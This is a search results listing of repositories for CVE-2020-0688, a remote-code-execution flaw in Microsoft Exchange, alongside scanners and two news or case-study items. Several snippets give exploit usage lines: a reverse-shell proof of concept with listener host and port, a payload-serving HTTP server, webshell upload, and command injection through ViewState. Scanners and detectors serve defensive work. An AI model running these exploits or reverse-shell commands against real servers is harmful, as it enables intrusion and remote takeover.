46 matches found
CVE-2020-0688-Scanner
CVE-2020-0688-Scanner Este script escanea una IP/rango/CIDR y muestra los servidores Microsoft Exchange y las versiones descubiertas. La IP/rango/CIDR especificada se escaneará con masscan en el puerto tcp/443. Después de un escaneo exitoso, intenta hacer HTTP GET "/owa/auth/logon.aspx" con curl...
ecp_slap
ecpslap This proof-of-concept for CVE-2020-0688 includes functions for the scanning and exploitation of a vulnerable on-prem Exchange instance. Usage scan - provide credentials and target information to obtain cookies required for exploitation and saves them to 'cookies.txt'. Also checks for...
cve-2020-0688
cve-2020-0688 Hice este script para realizar CVE-2020-0688 más rápidamente. Ayuda a mejorar la verificación de la vulnerabilidad, reduciendo enormemente los pasos para ello. Modifique estas entradas antes de ejecutar el archivo. url = "https://mail.something.com" input 1 command = "cmd /c echo...
CVE-2020-0688
Herramientas de explotación y detección para CVE-2020-0688 vulnerabilidad de deserialización de MachineKeySection predeterminado de Microsoft Exchange compilación root@kitploit: csc ExchangeCmd.cs csc ExchangeDetect.cs uso root@kitploit: ExchangeDetect root@kitploit: ExchangeCmd subcomandos: exec...
CVE-2020-0688
CVE-2020-0688 Working Exploit PoC CVE-2020-0688 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...
PSForgot2kEyXCHANGE
PSForgot2kEyXCHANGE PoC for Forgot2kEyXCHANGE CVE-2020-0688 written in PowerShell Usage This PoC requires a valid Username and Password. This PoC uses ysoserial.net to create the new ViewState which contains the command you specified on the -Command param. If you don't already have this installed...
cve-2020-0688-webshell-upload-technique
Ejecución Remota de Código en Exchange cve-2020-0688 - RED TEAM MODO ACTIVADO requiere: python3+ UNIVERSAL Implementación en Python para cve-2020-0688, utilizando webshell ASPX para salida de comandos personalizada Esto es solo un POC para facilitar demostraciones de vulnerabilidades por razones ...
CVE-2020-0688-Exchange2010
El principal problema con Exchange2010 es que está basado en .NET 2.0 y los gadgets de deserialización genéricos no funcionan. Todos los créditos van para zcgonvh y EazyLov3. El proyecto es simplemente una combinación de: https://github.com/zcgonvh/CVE-2020-0688/ https://www.buaq.net/go-41757.htm...
CVE-2020-0688-GUI
一、Project Purpose and Reference The purpose is simple: I'm planning to write a C2 in C again recently, so let's first write some small tools to practice and increase interest. So I thought of turning zcgonvh's tool into a GUI. The source tool link is as follows:...
CVE-2020-0688-Scanner
CVE-2020-0688-Scanner Quick C tool for checking CVE-2020-0688 on multiple hosts with a non-intrusive method. Features Scan hosts from an input file. Passive check : grab exchange version by scraping html content. Produces an output file. Demo How to use Prerequisite Windows .NET framework 4.5.2...
CVE-2020-0688
python3 CVE-2020-0688.py mail.chinabaiker.com [email protected] password command...
CVE-2020-0688
CVE-2020-0688 Scanner This is a little dirty Script to Check for vulnerables Exchange Servers by CVE-2020-0688 It's written ugly and in PHP. Caution: It only checks if you have the actual CU update installed. That doesn't mean that you have installed the bugfix patch! Requirements You need php-cl...
CVE-2020-0688
CVE-2020-0688 CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server Through Fixed Cryptographic Keys How to run ysonet.exe: download from here Run HTTP server: root@kitploit: python3 -m http.server 8000 Change targeturl and your IP address in pwsh command. Install all python...
CVE-2020-0688-Python3
Obtuve este código de Packet Storm. Usé una variedad de métodos principalmente 2to3 y mucho esfuerzo tedioso y manual para que esto funcione correctamente con Python3. ¡Disfrútalo!...
Cyber-Attack-Analysis
Caso de Estudio de Ciberseguridad: La Brecha de Virgin Mobile KSA en 2020 📌 Resumen Ejecutivo En 2020, un incidente de seguridad significativo comprometió a Virgin Mobile KSA, provocando el robo de datos sensibles, incluyendo comunicaciones de empleados e información personal de más de 1,000...
CVE-2020-0688
This repository does not have a README...
Exploit for Improper Authentication in Microsoft
cve-2020-0688 Usage: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD, --password...
Exploit for Improper Authentication in Microsoft
I. Project Objectives and References The purpose is simple: r...
NSA, FBI Reveal Hacking Methods Used by Russian Military Hackers
An ongoing brute-force attack campaign targeting enterprise cloud environments has been spearheaded by the Russian military intelligence since mid-2019, according to a joint advisory published by intelligence agencies in the U.K. and U.S. The National Security Agency NSA, Cybersecurity and...